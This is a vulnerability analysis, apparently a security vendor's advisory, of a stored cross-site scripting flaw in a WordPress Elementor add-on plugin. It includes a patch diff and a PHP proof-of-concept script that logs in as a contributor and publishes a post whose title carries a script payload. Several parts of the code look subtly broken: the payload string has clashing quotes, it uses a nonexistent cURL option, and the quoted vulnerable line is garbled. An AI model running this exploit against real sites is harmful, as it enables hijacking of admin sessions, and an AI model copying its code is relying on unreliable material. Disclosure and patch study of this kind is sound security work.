Atomic Edge analysis of CVE-2026-11328:
This vulnerability involves a Stored Cross-Site Scripting (XSS) in the Exclusive Addons for Elementor plugin for WordPress, affecting versions up to and including 2.7.9.8. Authenticated attackers with contributor-level access or higher can inject arbitrary web scripts through the post title parameter. The vulnerability carries a CVSS score of 6.4, reflecting a medium severity with potential for data theft, session hijacking, and unauthorized actions within the WordPress admin context.
The root cause lies in the post-duplicator extension within the file `exclusive-addons-for-elementor/extensions/post-duplicator.php`. In the vulnerable code at line 34, the `$post->post_title` value is passed directly into the `sprintf()` function without sanitization or escaping. The post title is rendered as an HTML attribute that appears in admin post listing pages. The plugin lacks sufficient input sanitization and output escaping on the post title parameter when creating the duplicate link. The specific vulnerable line is: `$actions[‘exad_duplicate’] = sprintf( ‘%s‘, $duplicate_url, __( $post->post_title, ‘exclusive-addons-elementor’), __( ‘Ex Duplicator’, ‘exclusive-addons-elementor’) );`. This means any crafty post title containing JavaScript code will be stored and executed in the context of the WordPress dashboard.
Exploitation requires an authenticated user with contributor-level access. The attacker creates or edits a post and sets the post title to a malicious payload, such as `alert(‘XSS’)` or a more sophisticated payload that steals cookies or performs privileged actions. The post can be saved via the standard WordPress post creation process (e.g., `/wp-admin/post-new.php` or `/wp-admin/post.php?action=edit`). The malicious title is stored in the database. When an administrator (or any user with access to the post listing page) views the post list (`/wp-admin/edit.php`), the stored XSS payload executes because the duplicator link renders the unescaped title in the HTML title attribute. The attack vector is simple: craft a post title with embedded JavaScript, save it, and wait for a privileged user to browse the admin post listing page.
The patch addresses the vulnerability by sanitizing the post title before output. In the patched code (version 2.7.9.9), the `post_title` is first sanitized using `sanitize_text_field()` and then escaped using `esc_attr()`. The new code is: `$title = esc_attr( sanitize_text_field( $post->post_title ) );`. This ensures that any HTML or JavaScript within the title is stripped (via `sanitize_text_field`) and that the remaining text is escaped for safe HTML attribute rendering (via `esc_attr`). The vulnerable `__( $post->post_title, …)` call now uses the sanitized `$title` variable. Additionally, the patch includes changes in other files (`image-comparison.php`, `infobox.php`, `logo-box.php`, `pricing-menu.php`) where image URLs from the Elementor editor are escaped using `_.escape()` in JavaScript, though the primary XSS vector remains the post title in the duplicator. The patch fully prevents stored XSS by ensuring no raw user input reaches the HTML output.
If exploited, a contributor can inject persistent JavaScript payloads that execute in the administrative dashboard context. This can result in session hijacking (theft of admin cookies), forced actions like creating new admin users, modifying site settings, injecting malicious content, or stealing sensitive information. Because the XSS is stored and persists until the malicious post is deleted or the title is sanitized, the impact is wide-reaching and can compromise the entire WordPress installation. Users with higher privileges (editor, author, administrator) are also at risk because contributor accounts usually cannot delete posts or modify other users’ content, but the XSS payload survives as long as the post exists, allowing potential cascading attacks.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/exclusive-addons-for-elementor/elements/image-comparison/image-comparison.php
+++ b/exclusive-addons-for-elementor/elements/image-comparison/image-comparison.php
@@ -648,7 +648,7 @@
model: view.getEditModel()
};
- var imageOneURL = elementor.imagesManager.getImageUrl( image );
+ var imageOneURL = _.escape( elementor.imagesManager.getImageUrl( image ) );
}
if ( settings.exad_comparison_image_two.url || settings.exad_comparison_image_two.id ) {
@@ -660,7 +660,7 @@
model: view.getEditModel()
};
- var imageTwoURL = elementor.imagesManager.getImageUrl( image );
+ var imageTwoURL = _.escape( elementor.imagesManager.getImageUrl( image ) );
}
view.addRenderAttribute( 'exad_image_comparison_wrapper', {
--- a/exclusive-addons-for-elementor/elements/infobox/infobox.php
+++ b/exclusive-addons-for-elementor/elements/infobox/infobox.php
@@ -1030,7 +1030,7 @@
model: view.getEditModel()
};
- var image_url = elementor.imagesManager.getImageUrl( image );
+ var image_url = _.escape( elementor.imagesManager.getImageUrl( image ) );
}
if ( 'yes' === settings.exad_infobox_transition_top ){
--- a/exclusive-addons-for-elementor/elements/logo-box/logo-box.php
+++ b/exclusive-addons-for-elementor/elements/logo-box/logo-box.php
@@ -410,7 +410,7 @@
model: view.getEditModel()
};
- var image_url = elementor.imagesManager.getImageUrl( image );
+ var image_url = _.escape( elementor.imagesManager.getImageUrl( image ) );
}
var target = settings.exad_logo_box_link.is_external ? ' target="_blank"' : '';
--- a/exclusive-addons-for-elementor/elements/pricing-menu/pricing-menu.php
+++ b/exclusive-addons-for-elementor/elements/pricing-menu/pricing-menu.php
@@ -1039,7 +1039,7 @@
model: view.getEditModel()
};
- var image_url = elementor.imagesManager.getImageUrl( image );
+ var image_url = _.escape( elementor.imagesManager.getImageUrl( image ) );
}
var imgURL = image_url ? ' yes' : '';
--- a/exclusive-addons-for-elementor/exclusive-addons-elementor.php
+++ b/exclusive-addons-for-elementor/exclusive-addons-elementor.php
@@ -3,7 +3,7 @@
* Plugin Name: Exclusive Addons Elementor
* Plugin URI: https://exclusiveaddons.com/
* Description: Packed with a bunch of Exclusively designed widgets for Elementor with all the customizations you ever imagined.
- * Version: 2.7.9.8
+ * Version: 2.7.9.9
* Author: Exclusive Addons
* Author URI: https://exclusiveaddons.com
* Elementor tested up to: 99
@@ -24,7 +24,7 @@
if ( ! defined( 'EXAD_TEMPLATES' ) ) define( 'EXAD_TEMPLATES', EXAD_PATH . 'includes/template-parts/' );
if ( ! defined( 'EXAD_URL' ) ) define( 'EXAD_URL', plugins_url( '/', __FILE__ ) );
if ( ! defined( 'EXAD_ASSETS_URL' ) ) define( 'EXAD_ASSETS_URL', EXAD_URL . 'assets/' );
-if ( ! defined( 'EXAD_PLUGIN_VERSION' ) ) define( 'EXAD_PLUGIN_VERSION', '2.7.9.8' );
+if ( ! defined( 'EXAD_PLUGIN_VERSION' ) ) define( 'EXAD_PLUGIN_VERSION', '2.7.9.9' );
if ( ! defined( 'MINIMUM_ELEMENTOR_VERSION' ) ) define( 'MINIMUM_ELEMENTOR_VERSION', '2.0.0' );
if ( ! defined( 'MINIMUM_PHP_VERSION' ) ) define( 'MINIMUM_PHP_VERSION', '7.0' );
--- a/exclusive-addons-for-elementor/extensions/post-duplicator.php
+++ b/exclusive-addons-for-elementor/extensions/post-duplicator.php
@@ -31,7 +31,9 @@
}
- $actions['exad_duplicate'] = sprintf( '<a href="%s" title="%s">%s</a>', $duplicate_url, __( $post->post_title, 'exclusive-addons-elementor'), __( 'Ex Duplicator', 'exclusive-addons-elementor') );
+ $title = esc_attr( sanitize_text_field( $post->post_title ) );
+
+ $actions['exad_duplicate'] = sprintf( '<a href="%s" title="%s">%s</a>', $duplicate_url, __( $title, 'exclusive-addons-elementor'), __( 'Ex Duplicator', 'exclusive-addons-elementor') );
}
return $actions;
}
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-11328 - Exclusive Addons for Elementor <= 2.7.9.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Post Title
// This PoC demonstrates Stored XSS by updating a post's title to include a malicious script.
// Prerequisites: Attacker must have contributor-level credentials and a valid WordPress nonce for editing posts.
$target_url = 'http://example.com'; // Change to the target WordPress site URL
$username = 'contributor_user'; // WordPress username with contributor role
$password = 'contributor_pass'; // Corresponding password
// Step 1: Authenticate with the target WordPress site
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$login_response = curl_exec($ch);
if (curl_error($ch)) {
die('Login failed: ' . curl_error($ch));
}
// Step 2: Create a new post with a malicious XSS payload in the title
$post_url = $target_url . '/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_GET, true);
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);
// Extract wpnonce from the new post page
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/i', $post_page, $matches);
if (!isset($matches[1])) {
die('Could not extract wpnonce');
}
$wpnonce = $matches[1];
// Step 3: Submit the post with the XSS payload in the title
$create_post_url = $target_url . '/wp-admin/post.php';
$post_data = array(
'_wpnonce' => $wpnonce,
'action' => 'editpost',
'post_type' => 'post',
'post_status' => 'publish',
'post_title' => '<script>alert('XSS by Atomic Edge')</script>', // XSS payload
'content' => 'This post demonstrates stored XSS vulnerability CVE-2026-11328.',
'original_post_status' => 'auto-draft',
'post_author' => 1,
'edit_date' => 1,
'mm' => date('m'),
'jj' => date('d'),
'aa' => date('Y'),
'hh' => date('H'),
'mn' => date('i'),
'ss' => date('s'),
'publish' => 'Publish'
);
curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$create_response = curl_exec($ch);
if (strpos($create_response, 'post-new.php') !== false) {
echo "[+] Post created with XSS payload.n";
echo "[+] The malicious title will execute when an admin visits the post listing page.n";
} else {
echo "[-] Failed to create post. Check credentials or nonce extraction.n";
}
curl_close($ch);